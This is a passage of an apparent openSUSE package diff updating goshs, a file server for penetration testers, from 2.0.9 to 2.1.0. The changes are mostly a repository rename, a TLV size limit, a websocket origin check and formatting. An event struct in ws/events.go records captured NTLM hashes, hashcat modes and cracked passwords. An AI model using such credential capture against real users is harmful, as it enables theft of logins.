                        Dockerfile: "Dockerfile",
-                       Repo:       "patrickhener/goshs",
+                       Repo:       "goshs-labs/goshs",
                        Tag:        "integration",
                },
                HostConfigModifier: func(hc *container.HostConfig) {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/ldapserver/protocol.go 
new/goshs-2.1.0/ldapserver/protocol.go
--- old/goshs-2.0.9/ldapserver/protocol.go      2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/ldapserver/protocol.go      2026-05-29 12:20:25.000000000 
+0200
@@ -45,6 +45,8 @@
        return int(binary.BigEndian.Uint32(buf)), nil
 }
 
+const maxTLVSize = 1 << 20 // 1 MB — prevents OOM from crafted length fields
+
 // readTLV reads one BER TLV element and returns its tag and value bytes.
 func readTLV(r io.Reader) (tag byte, val []byte, err error) {
        var t [1]byte
@@ -56,6 +58,9 @@
        if e != nil {
                return 0, nil, e
        }
+       if l > maxTLVSize {
+               return 0, nil, fmt.Errorf("TLV length %d exceeds maximum 
allowed size", l)
+       }
        val = make([]byte, l)
        _, err = io.ReadFull(r, val)
        return
@@ -99,10 +104,10 @@
        return buf.Bytes()
 }
 
-func berSeq(children ...[]byte) []byte  { return tlv(tagSequence, 
cat(children...)) }
-func berSet(children ...[]byte) []byte  { return tlv(tagSet, cat(children...)) 
}
-func berStr(s string) []byte            { return tlv(tagOctetString, 
[]byte(s)) }
-func berEnum(v int) []byte              { return tlv(tagEnum, []byte{byte(v)}) 
}
+func berSeq(children ...[]byte) []byte { return tlv(tagSequence, 
cat(children...)) }
+func berSet(children ...[]byte) []byte { return tlv(tagSet, cat(children...)) }
+func berStr(s string) []byte           { return tlv(tagOctetString, []byte(s)) 
}
+func berEnum(v int) []byte             { return tlv(tagEnum, []byte{byte(v)}) }
 func berInt(v int) []byte {
        if v >= 0 && v <= 127 {
                return tlv(tagInteger, []byte{byte(v)})
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/logger/logger.go 
new/goshs-2.1.0/logger/logger.go
--- old/goshs-2.0.9/logger/logger.go    2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/logger/logger.go    2026-05-29 12:20:25.000000000 +0200
@@ -12,9 +12,9 @@
        "os"
        "strings"
 
-       "goshs.de/goshs/v2/webhook"
        "github.com/pkg/sftp"
        "github.com/sirupsen/logrus"
+       "goshs.de/goshs/v2/webhook"
 )
 
 func isBase64(s string) bool {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/packaging/rpm/goshs.spec 
new/goshs-2.1.0/packaging/rpm/goshs.spec
--- old/goshs-2.0.9/packaging/rpm/goshs.spec    2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/packaging/rpm/goshs.spec    2026-05-29 12:20:25.000000000 
+0200
@@ -1,10 +1,10 @@
 Name:           goshs
-Version:        2.0.9
+Version:        2.1.0
 Release:        1%{?dist}
 Summary:        Beyond Python's http.server — single-binary file server for 
pentesters
 
 License:        MIT
-URL:            https://github.com/patrickhener/goshs
+URL:            https://github.com/goshs-labs/goshs
 Source0:        
%{url}/archive/refs/tags/v%{version}.tar.gz#/%{name}-%{version}.tar.gz
 
 BuildRequires:  golang
@@ -40,6 +40,8 @@
 %{_bindir}/%{name}
 
 %changelog
+* Fri May 29 2026 Patrick Hener <[email protected]> - 2.1.0-1
+- Add new version v2.1.0
 * Wed May 27 2026 Patrick Hener <[email protected]> - 2.0.9-1
 - Add new version v2.0.9
 * Wed May 13 2026 Patrick Hener <[email protected]> - 2.0.8-1
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/sanity/checks_test.go 
new/goshs-2.1.0/sanity/checks_test.go
--- old/goshs-2.0.9/sanity/checks_test.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/sanity/checks_test.go       2026-05-29 12:20:25.000000000 
+0200
@@ -5,8 +5,8 @@
        "path/filepath"
        "testing"
 
-       "goshs.de/goshs/v2/options"
        "github.com/stretchr/testify/require"
+       "goshs.de/goshs/v2/options"
 )
 
 func TestSanitize_EmptyWebroot(t *testing.T) {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/sanity/sanity_test.go 
new/goshs-2.1.0/sanity/sanity_test.go
--- old/goshs-2.0.9/sanity/sanity_test.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/sanity/sanity_test.go       2026-05-29 12:20:25.000000000 
+0200
@@ -5,8 +5,8 @@
        "path/filepath"
        "testing"
 
-       "goshs.de/goshs/v2/options"
        "github.com/stretchr/testify/require"
+       "goshs.de/goshs/v2/options"
 )
 
 func TestSanitize_AbsolutePathUnchanged(t *testing.T) {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/sftpserver/handler.go 
new/goshs-2.1.0/sftpserver/handler.go
--- old/goshs-2.0.9/sftpserver/handler.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/sftpserver/handler.go       2026-05-29 12:20:25.000000000 
+0200
@@ -4,8 +4,8 @@
        "errors"
        "io"
 
-       "goshs.de/goshs/v2/logger"
        "github.com/pkg/sftp"
+       "goshs.de/goshs/v2/logger"
 )
 
 // ReadOnlyHandler is an SFTP handler that only allows read operations
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/sftpserver/handler_test.go 
new/goshs-2.1.0/sftpserver/handler_test.go
--- old/goshs-2.0.9/sftpserver/handler_test.go  2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/sftpserver/handler_test.go  2026-05-29 12:20:25.000000000 
+0200
@@ -8,11 +8,11 @@
        "path/filepath"
        "testing"
 
+       "github.com/pkg/sftp"
+       "github.com/stretchr/testify/require"
        "goshs.de/goshs/v2/httpserver"
        "goshs.de/goshs/v2/options"
        "goshs.de/goshs/v2/webhook"
-       "github.com/pkg/sftp"
-       "github.com/stretchr/testify/require"
 )
 
 func testSFTPServer(root string) *SFTPServer {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/sftpserver/helper.go 
new/goshs-2.1.0/sftpserver/helper.go
--- old/goshs-2.0.9/sftpserver/helper.go        2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/sftpserver/helper.go        2026-05-29 12:20:25.000000000 
+0200
@@ -196,20 +196,10 @@
                                sftpServer.HandleWebhookSend("sftp", r, ip, 
true)
                                return fmt.Errorf("chmod failed %w", err)
                        }
-                       return nil
                }
                logger.LogSFTPRequest(r, ip)
                sftpServer.HandleWebhookSend("sftp", r, ip, false)
-               err := os.Chmod(fullPath, os.FileMode(r.Attributes().Mode))
-               if err != nil {
-                       logger.LogSFTPRequestBlocked(r, ip, err)
-                       sftpServer.HandleWebhookSend("sftp", r, ip, true)
-                       return err
-               } else {
-                       logger.LogSFTPRequest(r, ip)
-                       sftpServer.HandleWebhookSend("sftp", r, ip, false)
-                       return err
-               }
+               return nil
 
        case "Rename":
                targetPath, err := sanitizePath(r.Target, root)
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/sftpserver/sftpserver_test.go 
new/goshs-2.1.0/sftpserver/sftpserver_test.go
--- old/goshs-2.0.9/sftpserver/sftpserver_test.go       2026-05-27 
15:49:51.000000000 +0200
+++ new/goshs-2.1.0/sftpserver/sftpserver_test.go       2026-05-29 
12:20:25.000000000 +0200
@@ -7,9 +7,9 @@
        "testing"
        "time"
 
-       "goshs.de/goshs/v2/webhook"
        "github.com/pkg/sftp"
        "github.com/stretchr/testify/require"
+       "goshs.de/goshs/v2/webhook"
 )
 
 var sftpserver *SFTPServer = &SFTPServer{
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/smbserver/protocol.go 
new/goshs-2.1.0/smbserver/protocol.go
--- old/goshs-2.0.9/smbserver/protocol.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/smbserver/protocol.go       2026-05-29 12:20:25.000000000 
+0200
@@ -26,9 +26,9 @@
        SMB2_CANCEL          uint16 = 0x000C
        SMB2_ECHO            uint16 = 0x000D
        SMB2_QUERY_DIRECTORY uint16 = 0x000E
-       SMB2_CHANGE_NOTIFY  uint16 = 0x000F
-       SMB2_QUERY_INFO     uint16 = 0x0010
-       SMB2_SET_INFO       uint16 = 0x0011
+       SMB2_CHANGE_NOTIFY   uint16 = 0x000F
+       SMB2_QUERY_INFO      uint16 = 0x0010
+       SMB2_SET_INFO        uint16 = 0x0011
 )
 
 // -- SMB2 access mask flags
@@ -158,9 +158,9 @@
        FileDispositionInformation uint8 = 13
        FilePositionInformation    uint8 = 14
        FileModeInformation        uint8 = 16
-       FileAllInformation          uint8 = 18
-       FileAllocationInformation   uint8 = 19
-       FileEndOfFileInformation    uint8 = 20
+       FileAllInformation         uint8 = 18
+       FileAllocationInformation  uint8 = 19
+       FileEndOfFileInformation   uint8 = 20
        FileStreamInformation      uint8 = 22
        FileNetworkOpenInformation uint8 = 34
 )
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/smbserver/server.go 
new/goshs-2.1.0/smbserver/server.go
--- old/goshs-2.0.9/smbserver/server.go 2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/smbserver/server.go 2026-05-29 12:20:25.000000000 +0200
@@ -317,7 +317,6 @@
 
 // ── Dispatcher ─────────────────────────────────────────────────────────────
 
-
 func (s *SMBServer) dispatch(cs *connState, remoteAddr string, buf []byte) 
[]byte {
        if len(buf) < 4 {
                return nil
@@ -1158,7 +1157,7 @@
                IsDir:         fi.IsDir(),
                DeleteOnClose: (createOptions & FILE_DELETE_ON_CLOSE) != 0,
                AccessMask:    desiredAccess,
-               Modified: createAction == FILE_CREATED || createAction == 
FILE_OVERWRITTEN,
+               Modified:      createAction == FILE_CREATED || createAction == 
FILE_OVERWRITTEN,
        }
        cs.addHandle(handle)
 
@@ -1280,7 +1279,6 @@
        return ctx
 }
 
-
 // buildQFidContext builds a SMB2_CREATE_QUERY_ON_DISK_ID_RESPONSE create 
context.
 // Layout (56 bytes): 16-byte header | "QFid" (4) | pad (4) | DiskFileId (16) 
| VolumeId (16)
 func buildQFidContext(inode uint64) []byte {
@@ -1973,8 +1971,8 @@
        std := buildFileStandardInfo(fi) // 24
        internal := make([]byte, 8)      // FileInternalInformation: 8
        putle64(internal, 0, inodeNumber(fi))
-       ea := make([]byte, 4)            // FileEaInformation: 4
-       access := make([]byte, 4)        // FileAccessInformation: 4
+       ea := make([]byte, 4)     // FileEaInformation: 4
+       access := make([]byte, 4) // FileAccessInformation: 4
        putle32(access, 0, handle.AccessMask)
        pos := make([]byte, 8)   // FilePositionInformation: 8
        mode := make([]byte, 4)  // FileModeInformation: 4
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/smbserver/session.go 
new/goshs-2.1.0/smbserver/session.go
--- old/goshs-2.0.9/smbserver/session.go        2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/smbserver/session.go        2026-05-29 12:20:25.000000000 
+0200
@@ -42,8 +42,8 @@
        DeleteOnClose        bool
        AccessMask           uint32
        SyntheticEntriesSent bool
-       Modified   bool // true if file was created/overwritten/written — 
triggers CHANGE_NOTIFY on close
-       IsNullSink bool // true for Alternate Data Stream handles (e.g. 
Zone.Identifier); writes are silently discarded
+       Modified             bool // true if file was 
created/overwritten/written — triggers CHANGE_NOTIFY on close
+       IsNullSink           bool // true for Alternate Data Stream handles 
(e.g. Zone.Identifier); writes are silently discarded
 }
 
 // pendingNotify tracks a held SMB2 CHANGE_NOTIFY request.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/smbserver/srvsvc.go 
new/goshs-2.1.0/smbserver/srvsvc.go
--- old/goshs-2.0.9/smbserver/srvsvc.go 2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/smbserver/srvsvc.go 2026-05-29 12:20:25.000000000 +0200
@@ -159,8 +159,8 @@
 
        // p_result_list: MS-RPCE 2.2.2.4 — n_results(uint8) + reserved(uint8) 
+ reserved2(uint16)
        body = append(body, byte(nCtx)) // n_results (uint8)
-       body = append(body, 0x00)        // reserved
-       body = append(body, 0x00, 0x00)  // reserved2
+       body = append(body, 0x00)       // reserved
+       body = append(body, 0x00, 0x00) // reserved2
 
        // Build result entries: accept the matching context, reject the rest
        for i := uint16(0); i < nCtx; i++ {
@@ -180,10 +180,10 @@
 }
 
 const (
-       srvsvcOpNetShareGetInfo      = 16
-       srvsvcOpNetServerGetInfo     = 13
+       srvsvcOpNetShareGetInfo        = 16
+       srvsvcOpNetServerGetInfo       = 13
        srvsvcOpNetServerTransportEnum = 21
-       wkssvcOpNetWkstaGetInfo      = 0
+       wkssvcOpNetWkstaGetInfo        = 0
 )
 
 // handleRPCRequest dispatches an RPC request by opnum.
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/smtpserver/backend_test.go 
new/goshs-2.1.0/smtpserver/backend_test.go
--- old/goshs-2.0.9/smtpserver/backend_test.go  2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/smtpserver/backend_test.go  2026-05-29 12:20:25.000000000 
+0200
@@ -4,11 +4,11 @@
        "strings"
        "testing"
 
+       "github.com/stretchr/testify/require"
        "goshs.de/goshs/v2/clipboard"
        "goshs.de/goshs/v2/options"
        "goshs.de/goshs/v2/webhook"
        "goshs.de/goshs/v2/ws"
-       "github.com/stretchr/testify/require"
 )
 
 func TestAuthPlain(t *testing.T) {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/tunnel/tunnel.go 
new/goshs-2.1.0/tunnel/tunnel.go
--- old/goshs-2.0.9/tunnel/tunnel.go    2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/tunnel/tunnel.go    2026-05-29 12:20:25.000000000 +0200
@@ -11,9 +11,9 @@
        "strings"
        "time"
 
-       "goshs.de/goshs/v2/logger"
        "golang.org/x/crypto/ssh"
        "golang.org/x/crypto/ssh/knownhosts"
+       "goshs.de/goshs/v2/logger"
 )
 
 // HostKeyMismatchError is returned by Start when the server presents a host
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/update/update.go 
new/goshs-2.1.0/update/update.go
--- old/goshs-2.0.9/update/update.go    2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/update/update.go    2026-05-29 12:20:25.000000000 +0200
@@ -22,7 +22,7 @@
 )
 
 const (
-       owner           = "patrickhener"
+       owner           = "goshs-labs"
        repo            = "goshs"
        GOSHS_CHECKSUMS = "checksums.txt"
 )
@@ -244,7 +244,7 @@
                return nil, err
        }
 
-       for _, line := range strings.Split(string(data), "\n") {
+       for line := range strings.SplitSeq(string(data), "\n") {
                fields := strings.Fields(line)
                if len(fields) == 2 && fields[1] == assetName {
                        return hex.DecodeString(fields[0])
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/update/update_test.go 
new/goshs-2.1.0/update/update_test.go
--- old/goshs-2.0.9/update/update_test.go       2026-05-27 15:49:51.000000000 
+0200
+++ new/goshs-2.1.0/update/update_test.go       2026-05-29 12:20:25.000000000 
+0200
@@ -4,8 +4,8 @@
        "testing"
 
        "github.com/google/go-github/v85/github"
-       "goshs.de/goshs/v2/goshsversion"
        "github.com/stretchr/testify/require"
+       "goshs.de/goshs/v2/goshsversion"
 )
 
 func TestCheckForUpdates(t *testing.T) {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/ws/client.go new/goshs-2.1.0/ws/client.go
--- old/goshs-2.0.9/ws/client.go        2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/ws/client.go        2026-05-29 12:20:25.000000000 +0200
@@ -150,7 +150,9 @@
 
 // ServeWS will handle the socket connections
 func ServeWS(hub *Hub, w http.ResponseWriter, r *http.Request) bool {
-       conn, err := websocket.Accept(w, r, nil)
+       conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{
+               OriginPatterns: []string{r.Host},
+       })
        if err != nil {
                logger.Errorf("Failed to upgrade ws: %+v", err)
                return false
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/ws/events.go new/goshs-2.1.0/ws/events.go
--- old/goshs-2.0.9/ws/events.go        2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/ws/events.go        2026-05-29 12:20:25.000000000 +0200
@@ -45,19 +45,19 @@
 }
 
 type LDAPEvent struct {
-       Type      string    `json:"type"`      // "ldap"
-       Operation string    `json:"operation"` // "bind", "search", or "ntlm"
-       DN        string    `json:"dn"`        // bind DN or search baseDN
-       Password  string    `json:"password"`  // cleartext for simple bind; 
"[SASL: mech]" for SASL
+       Type      string `json:"type"`      // "ldap"
+       Operation string `json:"operation"` // "bind", "search", or "ntlm"
+       DN        string `json:"dn"`        // bind DN or search baseDN
+       Password  string `json:"password"`  // cleartext for simple bind; 
"[SASL: mech]" for SASL
        // NTLM capture fields — only set when Operation == "ntlm"
-       Username        string `json:"username,omitempty"`
-       Domain          string `json:"domain,omitempty"`
-       Hash            string `json:"hash,omitempty"`
-       HashType        string `json:"hashType,omitempty"`
-       HashcatMode     string `json:"hashcatMode,omitempty"`
-       CrackedPassword string `json:"crackedPassword,omitempty"`
-       Source    string    `json:"source"`    // client IP:port
-       Timestamp time.Time `json:"timestamp"`
+       Username        string    `json:"username,omitempty"`
+       Domain          string    `json:"domain,omitempty"`
+       Hash            string    `json:"hash,omitempty"`
+       HashType        string    `json:"hashType,omitempty"`
+       HashcatMode     string    `json:"hashcatMode,omitempty"`
+       CrackedPassword string    `json:"crackedPassword,omitempty"`
+       Source          string    `json:"source"` // client IP:port
+       Timestamp       time.Time `json:"timestamp"`
 }
 
 type NTLMEvent struct {
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/ws/hub.go new/goshs-2.1.0/ws/hub.go
--- old/goshs-2.0.9/ws/hub.go   2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/ws/hub.go   2026-05-29 12:20:25.000000000 +0200
@@ -33,11 +33,11 @@
        cliEnabled bool
 
        // Ring BUffers - capped storage survives client reconnect
-       HTTPLog  *RingBuffer
-       DNSLog   *RingBuffer
-       SMTPLog  *RingBuffer
-       SMBLog   *RingBuffer
-       LDAPLog  *RingBuffer
+       HTTPLog *RingBuffer
+       DNSLog  *RingBuffer
+       SMTPLog *RingBuffer
+       SMBLog  *RingBuffer
+       LDAPLog *RingBuffer
 }
 
 // NewHub will create a new hub
diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' 
'--exclude=.svnignore' old/goshs-2.0.9/ws/ws_test.go 
new/goshs-2.1.0/ws/ws_test.go
--- old/goshs-2.0.9/ws/ws_test.go       2026-05-27 15:49:51.000000000 +0200
+++ new/goshs-2.1.0/ws/ws_test.go       2026-05-29 12:20:25.000000000 +0200
@@ -9,8 +9,8 @@
        "time"
 
        "github.com/coder/websocket"
-       "goshs.de/goshs/v2/clipboard"
        "github.com/stretchr/testify/require"
+       "goshs.de/goshs/v2/clipboard"
 )
 
 func TestDispatchReadPump_NewEntry(t *testing.T) {

++++++ vendor.tar.gz ++++++
/work/SRC/openSUSE:Factory/goshs/vendor.tar.gz 
/work/SRC/openSUSE:Factory/.goshs.new.1937/vendor.tar.gz differ: char 17, line 1

Reply via email to